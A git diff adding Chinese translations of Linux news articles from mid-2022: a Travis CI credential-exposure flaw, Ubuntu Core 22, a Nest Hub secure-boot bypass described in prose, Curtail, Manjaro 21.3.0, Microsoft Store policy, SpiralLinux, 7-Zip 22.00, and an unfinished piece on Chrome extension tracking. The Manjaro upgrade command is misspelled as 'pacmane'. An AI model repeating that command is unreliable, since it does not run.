+[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14724-1.html" + +Travis CI 漏洞暴露了敏感的开源项目凭证 +====== + +![Travis CI](https://img.linux.net.cn/data/attachment/album/202206/18/095734heuo8nc7g7n0ibtd.jpg) + +Travis CI 持续集成工具中的一个缺陷暴露了来自数千个在线开源项目的敏感数据。这并不是该软件第一次遇到此类安全问题。 + +Travis CI 是一个持续集成工具,它帮助软件开发者实现自动化地测试新代码,并将新代码集成到开源项目中。Aqua 研究人员发现,通过该软件的一个 API,可以访问来自 Travis CI 免费用户的多达 7.7 亿条“日志”(即使用户的账号已经删除)。 + +攻击者可以从这些明文存储的日志中,提取出用于登录 GitHub、Docker Hub 和 AWS 等云服务的用户身份验证令牌。研究人员在 800 万份日志样本中,发现了 70000 多个敏感令牌和其他机密凭证。Aqua 团队认为“所有 Travis CI 免费用户都有可能暴露”。根据 2019 年的数据,Travis CI 被超过 60 万名独立用户,用于超过 932977 个开源项目。 + +这种对高级用户凭证的访问,会给使用该产品的软件开发者及其客户带来风险。趋势科技英国和爱尔兰安全技术总监 Bharat Mistry 解释道:“如果攻击者获得了这些凭据,就没有什么能阻止他们将恶意代码引入库或构建过程。这个缺陷无疑会导致数字供应链攻击。” + +供应链攻击可能极具破坏性。2020 年的 太阳风Solar Winds 攻击,使国家资助的俄罗斯黑客能够访问数千家企业和政府组织的系统。2021 年的 Kaseya 供应链攻击,使犯罪分子可以同时加密 1500 多家公司的数据,将它们全部扣为人质。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/the-travis-ci-vulnerability-exposes-sensitive-open-source-project-credentials/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/travis-c.png diff --git a/published/202206/20220616 Ubuntu Core 22 is Here for IoT and Edge Devices.md b/published/202206/20220616 Ubuntu Core 22 is Here for IoT and Edge Devices.md new file mode 100644 index 0000000000..8d55013527 --- /dev/null +++ b/published/202206/20220616 Ubuntu Core 22 is Here for IoT and Edge Devices.md @@ -0,0 +1,77 @@ +[#]: subject: "Ubuntu Core 22 is Here for IoT and Edge Devices" +[#]: via: "https://news.itsfoss.com/ubuntu-core-22-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14730-1.html" + +Ubuntu Core 22 来了,适用于物联网和边缘设备 +====== + +> Ubuntu Core 22 基于 Ubuntu 22.04 LTS,为物联网和嵌入式设备带来了最佳的安全性和性能。 + +![Ubuntu][1] + +Ubuntu Core 22 是一个容器化的 Ubuntu 22.04 LTS 变体,针对嵌入式和物联网设备进行了优化。 + +对于希望在边缘设备上运行 Canonical 的最新操作系统的开发者来说,这会是一个很棒的产品。 + +在发布 Ubuntu Core 22 时,Canonical 的 CEO **Mark Shuttleworth** 说: + +> “Canonical 的目标是在从开发环境到云、再到边缘和设备的任何地方提供安全、可靠的开源技术。” + +### Ubuntu Core 22 更新介绍 + +![什么是 Ubuntu Core 22?][2] + +Ubuntu Core 22 版本带来了针对安全性和可靠性的改进。其中包括了以下几个改进。 + +#### 实时计算 + +正如公告中提到的,Ubuntu 22.04 LTS 提供了一个实时内核(测试版可用),它能为那些时间敏感的工业、汽车和机器人用例,提供高性能、超低延迟和工作负载可预测性。 + +此外,如果你有 Ubuntu 认证的硬件,你还能充分利用先进的实时功能。 + +#### Snapcraft 框架 + +整个 Ubuntu 镜像分解为许多个包(Snap),使得内核、操作系统和应用程序隔离在一个沙箱中。 + +这可以让你轻松地安装应用程序,而无需担心来自专用 物联网应用商店IoT App Store 的依赖。对于企业而言,通过软件商店进行的软件管理解决方案,应该能够带来一系列内部部署的机会。 + +该框架还可帮助系统确保 OTA 更新按预期工作,即使由于某种原因失败,也不会破坏任何内容。 + +#### 安全 + +Ubuntu Core 提供了高级安全功能,包括安全启动、全盘加密以及一些更适合任务关键型环境的功能。 + +注意,此版本还提供了 10 年的安全更新承诺。 + +#### 其他关键改进 + +* 支持从 Ubuntu Core 20 轻松迁移并确保向后兼容性。 +* 性能改进。 +* 新的“恢复出厂设置”启动模式,以便在“运行/恢复模式”中恢复出厂设置。 + +如果你想了解更多信息,可以查看 [官方公告][3]。 + +如果你对 Ubuntu Core 感兴趣,可以访问它的 [主​​页][4] 以了解更多关于它的信息。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-core-22-release/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/ubuntu-22-core.jpg +[2]: https://youtu.be/6NDWqH1SrGs +[3]: https://ubuntu.com/blog/canonical-ubuntu-core-22-is-now-available-optimised-for-iot-and-embedded-devices +[4]: https://ubuntu.com/core diff --git a/published/202206/20220617 Ubuntu Runs on a Google Nest Hub, Wait, What-.md b/published/202206/20220617 Ubuntu Runs on a Google Nest Hub, Wait, What-.md new file mode 100644 index 0000000000..922e3169ab --- /dev/null +++ b/published/202206/20220617 Ubuntu Runs on a Google Nest Hub, Wait, What-.md @@ -0,0 +1,89 @@ +[#]: subject: "Ubuntu Runs on a Google Nest Hub, Wait, What?" +[#]: via: "https://news.itsfoss.com/ubuntu-google-nest/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14746-1.html" + +Ubuntu 可以运行在谷歌 Nest Hub 上了?! +====== + +> 一名安全专家成功地在谷歌 Nest Hub(第 2 代)上运行了 Ubuntu,嗯,然后呢? + +![Ubuntu Google][1] + +我刚刚看到了一个关于在谷歌 Nest Hub(第 2 代)上运行的 Ubuntu 的消息。 + +嗯,这实在是让人兴奋! + +所以,让我在这里分享更多关于它的信息吧。 + +### 破解谷歌 Nest Hub 以安装 Ubuntu + +是的,破解使得这成为可能。 + +网络安全专家 Frédéric Basse 破解了谷歌 Nest Hub(第 2 代)的安全启动,并成功运行 Ubuntu。 + +当然,谷歌 Nest Hub 并没有正式支持启动一个自定义操作系统。但是,Fred 使用了一个安全漏洞,从而成功运行了 Ubuntu。 + +虽然这很有趣,但对于始终在线的谷歌智能家居显示器来说,这也是一个严重的安全问题。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/06/ubuntu-google-nest-hacked.gif) + +正如这位安全专家在 [博客文章][2] 中所解释的,他使用了树莓派 Pico 微控制器,利用引导加载程序中的 USB 漏洞,从而破坏了安全启动链。 + +这位安全专家得出结论: + +> 因此,攻击者可以通过插入恶意 USB 设备并按下两个按钮,从而在早期启动阶段(内核执行之前)执行任意代码。 + +如果你想进行实验(适合安全研究人员),他还在 [GitHub][3] 上提供了相关代码(关于如何利用这个引导加载程序漏洞)。 + +### 让 Ubuntu 在 Google Nest 上运行 + +![][4] + +该漏洞允许攻击者启动未签名的操作系统。但是,在那之前,攻击者必须对为树莓派(64 位 ARM 版)量身定制的预装 Ubuntu 镜像进行一些修改。 + +这位安全专家还提到了以下内容: + +> 我们构建了一个自定义 U-Boot 引导加载程序,禁用了安全引导,并更改了引导流程以从 USB 闪存驱动器加载环境。我们还为 elaine 构建了一个自定义 Linux 内核,其中包括包括了一些 [额外驱动,例如 USB 鼠标][5] 。重新打包了来自 Ubuntu 的初始 ramdisk(initrd),以集成触摸屏所需的固件二进制文件。引导镜像是基于自定义 Linux 内核和修改的 initrd 创建的。 + +因此,很明显,你不会获得完整的 Ubuntu 体验,但由于该漏洞,我们现在知道,如果你愿意破解 谷歌 Nest 进行测试的话(真心不建议!),Ubuntu 是可以在谷歌 Nest 上作运行的。 + +### 智能家居安全担忧 + Linux + +网络安全专家指出,该漏洞已在上游(两次)修复。 + +但是,研究人员也指出,缺乏分配的 CVE 编号可能会导致修复程序无法向下游传播。 + +毫无疑问,看到有人在不受支持的设备上运行 Linux 真是太棒了。这让我思考,我们是否应该也制造一些 **由 Linux 驱动的商业智能家居设备?** + +*或者说,已经有类似的东西了吗?* + +然而,智能家居设备容易受到简单攻击,也同样令人担忧。 + +你怎么看?在下面的评论中分享你的想法吧。 + +**本文最初发布于** [Liliputing][6] + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-google-nest/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/hacker-installs-ubuntu-on-google-nest-hub.jpg +[2]: https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html +[3]: https://github.com/frederic/chipicopwn +[4]: https://news.itsfoss.com/wp-content/uploads/2022/06/ubuntu-google-nest.jpg +[5]: https://github.com/frederic/elaine-linux/commit/11068237d9178e77d79e3a5d27fc4f8f9b923c51 +[6]: https://liliputing.com/2022/06/hacker-installs-ubuntu-on-a-google-nest-hub-2nd-gen-smart-display.html diff --git a/published/202206/20220620 Compress Images in Linux Easily With Curtail GUI App.md b/published/202206/20220620 Compress Images in Linux Easily With Curtail GUI App.md new file mode 100644 index 0000000000..46b8ad5ca9 --- /dev/null +++ b/published/202206/20220620 Compress Images in Linux Easily With Curtail GUI App.md @@ -0,0 +1,108 @@ +[#]: subject: "Compress Images in Linux Easily With Curtail GUI App" +[#]: via: "https://itsfoss.com/curtail-image-compress/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14748-1.html" + +用 Curtail GUI 应用轻松压缩 Linux 中的图像 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/23/182901s4d060uu98g8qquv.jpg) + +有一大堆文件尺寸巨大的图片占用了太多的磁盘空间?或者你必须将图片上传到有文件大小限制的门户网站? + +你可能有很多原因想要压缩图片。有大量的工具可以帮助你,我在这里说的不是命令行的工具。 + +你可以使用一个成熟的图像编辑器,如 GIMP。你也可以使用像 [Squoosh][1] 这样的网络工具,这是谷歌的一个开源项目。它甚至可以让你比较每个压缩级别的文件。 + +然而,所有这些工具都是针对单个图像工作的。如果你想批量压缩照片怎么办?Curtail 是一个能帮助你的应用。 + +### Curtail: Linux 中用于图像压缩的灵巧工具 + +使用 Python 和 GTK3 构建的 Curtail 是一个简单的 GUI 应用,使用 OptiPNG、[jpegoptim][2] 等开源库来提供图像压缩功能。 + +它有一个 [Flatpak 应用][3]。请确保你的系统已启用 [Flatpak 支持][4]。 + +首先添加 Flathub 仓库: + +``` +flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +``` + +然后使用下面的命令来安装 Curtail: + +``` +flatpak install flathub com.github.huluti.Curtail +``` + +安装后,在你的 Linux 系统的菜单中寻找它,并从那里启动它。 + +![curtail app][5] + +界面朴素而简单。你可以选择你想要无损压缩还是有损压缩。 + +有损压缩会有质量差的图像,但尺寸较小。无损压缩会有更好的质量,但尺寸可能不会比原来的小很多。 + +![curtail app interface][6] + +你可以浏览图片,或者把它们拖到应用中。 + +是的,你可以用 Curtail 一键压缩多张图片。 + +事实上,你甚至不需要点击。只要你选择图片或拖放它们,它们就会被压缩,你会看到压缩过程的摘要。 + +![curtail image compression summary][7] + +正如你在上面的图片中看到的,我的一张图片的尺寸减少了 35%,另外两张图片的尺寸减少了 3% 和 8%。这是在无损压缩的情况下。 + +这些图片以 `-min` 为后缀(默认),保存在与原始图片相同的目录中。 + +虽然它看起来很简约,但有几个选项可以配置 Curtail。点击菜单,你会看到一些设置选项。 + +![curtail configuration options][8] + +你可以选择是将压缩文件保存为新文件还是替换现有文件。如果你选择新文件(默认行为),你也可以为压缩后的图像提供一个不同的后缀。保留文件属性的选项也在这里。 + +在下一个选项卡中,你可以配置有损压缩的设置。默认情况下,压缩级别为 90%。 + +![curtail compression options][9] + +高级选项卡让你可以选择配置 PNG 和 WebP 文件的无损压缩级别。 + +![curtain advanced options][10] + +### 总结 + +正如我前面所说,这不是一个突破性的工具。你可以用其他工具如 GIMP 做同样的事情。它只是使图像压缩的任务更简单,特别是对于批量图像压缩。 + +我很想看到在压缩时有[转换图像文件格式][11]的选项,就像我们在 Converseen 等工具中所拥有的那样。 + +总的来说,对于图像压缩的具体目的来说,这是一个不错的小工具。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/curtail-image-compress/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://squoosh.app/ +[2]: https://github.com/tjko/jpegoptim +[3]: https://itsfoss.com/what-is-flatpak/ +[4]: https://itsfoss.com/flatpak-guide/ +[5]: https://itsfoss.com/wp-content/uploads/2022/06/curtail-app.png +[6]: https://itsfoss.com/wp-content/uploads/2022/06/curtail-app-interface.png +[7]: https://itsfoss.com/wp-content/uploads/2022/06/curtail-image-compression-summary.png +[8]: https://itsfoss.com/wp-content/uploads/2022/06/curtail-configuration-options.png +[9]: https://itsfoss.com/wp-content/uploads/2022/06/curtail-compression-options.png +[10]: https://itsfoss.com/wp-content/uploads/2022/06/curtain-advanced-options.png +[11]: https://itsfoss.com/converseen/ diff --git a/published/202206/20220620 Manjaro 21.3.0 -Ruah- Release Adds Latest Calmares 3.2, GNOME 42, and More Upgrades.md b/published/202206/20220620 Manjaro 21.3.0 -Ruah- Release Adds Latest Calmares 3.2, GNOME 42, and More Upgrades.md new file mode 100644 index 0000000000..d5f49184e2 --- /dev/null +++ b/published/202206/20220620 Manjaro 21.3.0 -Ruah- Release Adds Latest Calmares 3.2, GNOME 42, and More Upgrades.md @@ -0,0 +1,92 @@ +[#]: subject: "Manjaro 21.3.0 ‘Ruah’ Release Adds Latest Calmares 3.2, GNOME 42, and More Upgrades" +[#]: via: "https://news.itsfoss.com/manjaro-21-3-0-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14754-1.html" + +Manjaro 21.3.0 Ruah 发布:增加了最新的 Calmares 3.2、GNOME 42 和更多升级 +====== + +> Manjaro Linux 21.3.0 发行包包含一些最新和最强大的更新,包括改进的安装程序。 + +![](https://img.linux.net.cn/data/attachment/album/202206/25/093727pqm59kkragcaga4c.jpg) + +Manjaro Linux 是一个滚动发布的发行版。因此,从技术上讲,如果你定期更新系统的话,你一直都会使用最新版本。 + +升级到 Manjaro 21.3.0 应该没什么大不了的,考虑到我已经在正式发布前几天就已经在稳定运行它了,毫无问题。 + +**另外**,你可能想阅读一下我 [从 Ubuntu 切换到 Manjaro][2] 的初步体验(如果你对于升级仍然犹豫不决的话)。 + +那么,Manjaro 21.3.0 带来了什么更新呢? + +### Manjaro 21.3.0 更新内容 + +![][3] + +桌面环境升级到了最新的稳定版本,而内核版本仍然是 [Linux 内核 5.15 LTS][4]。 + +此外,这个版本还包括最终的 Clamares v3.2 版本。让我们来看看它有哪些变化吧。 + +#### Calamares v3.2.59 + +Calamares v3.2.59 安装程序是 3.2 系列的最终版本,它有许多有意义的改进。这次,分区模块包含了对 LUKS 分区的支持和更多改进,以避免那些可能会弄乱 Manjaro 安装的设置。 + +Calamares 3.2 的所有未来版本都将仅是错误修复。 + +#### GNOME 42 + Libadwaita + +最初的版本包含了 GNOME 42,而最新的版本包含了 GNOME 42.2(附带最新的更新)。 + +总体而言,你将获得 [GNOME 42][5] 引入的所有优点,包括系统范围的深色模式、基于 GTK 4 的 GNOME 应用的现代用户界面、升级的应用程序以及其他一些重大变化。 + +![][6] + +#### KDE Plasma 5.24 + +不幸的是,考虑到它差不多是在同一周发布的,因此该版本无法包含 [KDE Plasma 5.25][7]。 + +[KDE Plasma 5.24][8] 是一个不错的升级,具有更新的主题和概览效果。 + +#### XFCE 4.16 + +在 Xfce 4.16 中,窗口管理器得到了许多更新和改进,以支持小数倍数的缩放和更多功能。 + +### 下载 Manjaro 21.3.0 + +到目前为止,我在 Manjaro 21.3.0 GNOME 版本中没有遇到任何问题。一切看起来都不错,升级也很顺利。 + +但是,如果你不想重新安装或丢失重要文件,则应始终进行备份。 + +你可以从 [Manjaro 的下载页面][9] 下载最新版本。你也应该可以通过 pamac 包管理器获得更新。 + +无论哪种情况,你都可以在终端中输入以下命令进行升级: + +``` +sudo pacmane -Syu +``` + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/manjaro-21-3-0-release/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/manjaro-21-3-0-ruah-release.jpg +[2]: https://news.itsfoss.com/manjaro-linux-experience/ +[3]: https://news.itsfoss.com/wp-content/uploads/2022/06/manjaro-gnome-42-2-1024x576.jpg +[4]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[5]: https://news.itsfoss.com/gnome-42-release/ +[6]: https://news.itsfoss.com/wp-content/uploads/2022/06/manjaro-21-3-neofetch.png +[7]: https://news.itsfoss.com/kde-plasma-5-25-release/ +[8]: https://news.itsfoss.com/kde-plasma-5-24-lts-release/ +[9]: https://manjaro.org/download/ diff --git a/published/202206/20220620 Microsoft To Charge For Available Open Source Software In Microsoft Store.md b/published/202206/20220620 Microsoft To Charge For Available Open Source Software In Microsoft Store.md new file mode 100644 index 0000000000..81622add51 --- /dev/null +++ b/published/202206/20220620 Microsoft To Charge For Available Open Source Software In Microsoft Store.md @@ -0,0 +1,40 @@ +[#]: subject: "Microsoft To Charge For Available Open Source Software In Microsoft Store" +[#]: via: "https://www.opensourceforu.com/2022/06/microsoft-to-charge-for-available-open-source-software-in-microsoft-store/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14755-1.html" + +微软将对应用商店中开源软件的收费进行限制 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/25/101648dlxnqxkaox00xc3l.jpg) + +2022 年 6 月 16 日,微软更新了其应用商店的策略。其中一项禁止了发布者对开源或免费的软件收取费用,另一项则针对的是商店使用的不合理高价。如果你在过去几年中访问过微软应用商店,你可能已经注意到,它正在成为越来越多的开源和免费产品的所在地。如果原始开发者将应用程序和游戏上传到商店,这将是有益的,但情况并非如此,因为它们是由第三方上传的。 + +更糟糕的是,其中许多程序仅作为付费应用提供,而不是免费下载。换句话说,微软的客户必须付费才能购买应用商店的版本,而它们在其他地方是免费的!在应用商店中,免费版和付费版有时并存。为免费应用付费已经够糟糕的了,但这并不是用户在购买时可能遇到的唯一问题。更新也可能是一个问题,因为山寨应用可能不会像源头应用程序那样频繁或快速地更新。 + +在更新的微软商店政策中,微软在 10.8.7 节下指出: + +> 在您决定产品或应用内购买的定价时,您的数字产品或服务的所有定价(包括销售或折扣)必须: +> +> 遵守所有适用的法律、法规和监管要求,包括联邦贸易委员会的《反欺骗性定价指南》。您不得试图从开源软件或其他可免费获得的软件中获利,您的产品也不应提供一个(与它提供的特性和功能相比)过高的不合理定价。 + +这个新策略在更新部分中得到了确认。如果开源和免费产品普遍免费提供,则它们不得在微软应用商店上出售,发布者也不得对其产品收取不合理的高价。开源和免费应用的开发者可以在微软应用商店上为其产品收费。例如,Paint.net 的开发者就是这样做的。如果微软强制执行这些策略,许多应用将从应用商店中删除。以前,开发者可以向微软报告应用程序,但在新策略下,微软可以直接控制应用的列出和提交。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/microsoft-to-charge-for-available-open-source-software-in-microsoft-store/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/microsoft-e1655714723942.jpg diff --git a/published/202206/20220621 Mysterious GeckoLinux Creator Reveals a New Debian Remix Distro.md b/published/202206/20220621 Mysterious GeckoLinux Creator Reveals a New Debian Remix Distro.md new file mode 100644 index 0000000000..ac911d1337 --- /dev/null +++ b/published/202206/20220621 Mysterious GeckoLinux Creator Reveals a New Debian Remix Distro.md @@ -0,0 +1,76 @@ +[#]: subject: "Mysterious GeckoLinux Creator Reveals a New Debian Remix Distro" +[#]: via: "https://news.itsfoss.com/debian-remix-spiral-linux/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14758-1.html" + +神秘的 GeckoLinux 创建者推出了一个新的 Debian 合成发行版 +====== + +> GeckoLinux 创建者推出了一个基于 Debian 的新 Linux 发行版,专注于简单性和可用性。 + +![Linux 螺旋][1] + +GeckoLinux 改进了的 openSUSE 体验,它的创建者一直保持匿名。 + +我不会评论这是好事还是坏事,但现在,开发者又带着另一个基于 Debian 的类似项目回来了。 + +**SpiralLinux**,这是一个基于 Debian 的发行版,旨在使 Debian 适合最终用户使用。 + +### SpiralLinux:基于 Debian 构建的发行版 + +![SpiralLinux][2] + +毫不奇怪,大多数用户友好的 Linux 发行版都将 Debian 作为其原始基础。Ubuntu 就是在此基础上进行了大量改进,从而提供了良好的桌面体验,即使对于没有 Linux 经验的用户也是如此。 + +那么,这个发行版有什么不同呢? + +嗯,它的创建者说,这个项目旨在帮助你获得 Debian 的所有核心优势,而无需定制很多东西。 + +如果你想在桌面上使用 Debian,SpiralLinux 是一种接近原版的体验。你还可以根据需要升级到最新的稳定 Debian 版本(或不稳定/测试版),而不会丢失方便易用的自定义设置。 + +换句话说,SpiralLinux 使 Debian 适合桌面使用,而最终用户只需付出最小的努力。 + +为了实现这一点,SpiralLinux 使用了 Debian 官方软件包存储库,并提供了现场安装方式,让你能够定制自己的 Debian 系统。 + +此外,SpiralLinux 还具有以下功能: + +* 开箱即用的 VirtualBox 支持 +* 预装了专有的媒体编解码器和非自由软件包存储库 +* 预装了专有固件 +* 打印机支持 +* 通过 GUI(软件中心)支持 Flatpak +* 默认启用 zRAM 交换 +* 多种桌面环境(Cinnamon、XFCE、Gnome、Plasma、MATE、Budgie、LXQt) + +Debian 始终坚持使用开源和自由软件包,最终用户必须自己搞定编解码器、驱动程序和其他软件包,才能使许多功能正常工作,获得令他们满意的桌面体验。 + +而 SpiralLinux 似乎可以作为 Debian 的一个有用的替代品,就像 GeckoLinux 之于 openSUSE 一样。 + +### 下载 SpiralLinux + +如果你一直想尝试 Debian,但又不想在初始配置上费尽心思,你可以尝试 SpiralLinux。 + +你可以前往其托管在 GitHub 上的官网以了解更多信息,链接如下: + +> **[SpiralLinux][3]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/debian-remix-spiral-linux/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/spiral-linux-debian-remix-distro.jpg +[2]: https://news.itsfoss.com/wp-content/uploads/2022/06/spirallinux.jpg +[3]: https://spirallinux.github.io/ diff --git a/published/202206/20220621 The Final Version Of 7-Zip 22.00 Is Now Available.md b/published/202206/20220621 The Final Version Of 7-Zip 22.00 Is Now Available.md new file mode 100644 index 0000000000..15e9c3d03e --- /dev/null +++ b/published/202206/20220621 The Final Version Of 7-Zip 22.00 Is Now Available.md @@ -0,0 +1,45 @@ +[#]: subject: "The Final Version Of 7-Zip 22.00 Is Now Available" +[#]: via: "https://www.opensourceforu.com/2022/06/the-final-version-of-7-zip-22-00-is-now-available/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14764-1.html" + +7-Zip 22.00 最终版现已推出 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/27/110310hwrmxuwyqlor1olp.jpg) + +7-Zip 是用于 Windows、Mac 和 Linux 的知名开源文件归档器。它的最新版本 22.00 现已推出。它是 2022 年的第一个稳定版本。上一个版本是 21.07,于 2021 年 12 月发布。7-Zip 的用户可以从官方网站获取该应用的最新版本,下载适用于 Windows 64 位、32 位和 ARM 版本。该应用仍然与过时的 Windows 版本兼容,例如 XP 和 Vista。它还支持所有官方支持的 Windows 版本,包括服务器版本。适用于 Linux 的 7-Zip 22.00 已经可以下载,但 Mac OS 版本还不可用。 + +7-Zip 22.00 包含一些增强了应用功能的新特性。这个归档器现在支持提取苹果文件系统Apple File System(APFS)镜像。几年前,苹果公司在 Mac OS 10.13 和 iOS 中引入了苹果文件系统。该文件系统在设计时就考虑到了闪存(Flash)和固态硬盘(SSD)存储。 + +7-Zip 22.00 包括了对其 TAR 存档支持的多项增强。使用选项 `-ttar -mm=pax` 或 `-ttar -mm=posix`,7-Zip 现在可以创建符合 POSIX 标准的 tar 格式的 TAR 档案。此外,使用选项 `ttar -mm=pax -mtp=3 -mtc -mta`,7-Zip 可以在 tar/pax 存档中存储高精度的文件时间戳。 + +最后,Linux 用户可以在 TAR 归档文件中使用以下两个新选项: + +* `snoi`:将所有者/组 ID 保存在存档中,或将所有者/组 ID 从存档复制到提取的文件中。 +* `snon`:在存档中保留所有者/组的名称。 + +适用于 Windows 的 7-Zip 22.00 添加了对 `-snz` 选项的支持,该选项用于传播区识别符(LCTT 译注:区标识符是微软在 2013 年为 IE 设计的安全功能,它会标记那些用户自网络上所下载的文件,并在用户准备打开时跳出警告)。 + +要提取文件,请使用标识符流。出于安全目的,Windows 使用了该流,它可用于确定文件是在本地创建的还是从互联网下载的。 + +在“添加到存档add to archive”配置对话框中,7-Zip 22.00 包含一个新的选项窗口。它包括用于更改时间戳精度、更改其他与时间相关的配置选项,以及防止更改源文件的最后访问时间等选项。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/the-final-version-of-7-zip-22-00-is-now-available/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/7-zip-2200-500x312-1.jpg diff --git a/published/202206/20220621 This Open-Source Project Proves Chrome Extensions Can Track You.md b/published/202206/20220621 This Open-Source Project Proves Chrome Extensions Can Track You.md new file mode 100644 index 0000000000..ae5ea206e5 --- /dev/null +++ b/published/202206/20220621 This Open-Source Project Proves Chrome Extensions Can Track You.md @@ -0,0 +1,70 @@ +[#]: subject: "This Open-Source Project Proves Chrome Extensions Can Track You" +[#]: via: "https://news.itsfoss.com/chrome-extension-tracking/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14768-1.html" + +你安装的 Chrome 扩展的组合可以跟踪你 +====== + +> 这会成为放弃基于 Chromium 的浏览器并开始使用 Firefox 的一个理由吗?也许吧,决定权在你。 + +![Chrome 扩展追踪器][1] + +即使你有了所有的隐私扩展和各种保护功能,别人仍然有方法可以识别你或跟踪你。 + +请注意,并非所有浏览器都是如此,本文中,我们主要关注基于 Chromium 的浏览器,并将谷歌 Chrome 作为“主要嫌疑人”。 + +以前,在 Chromium 浏览器上,尽管别人已经能够检测到你已安装的扩展程序,但许多扩展程序都实施了某些保护措施来防止这种检测。 + +然而,一位名为 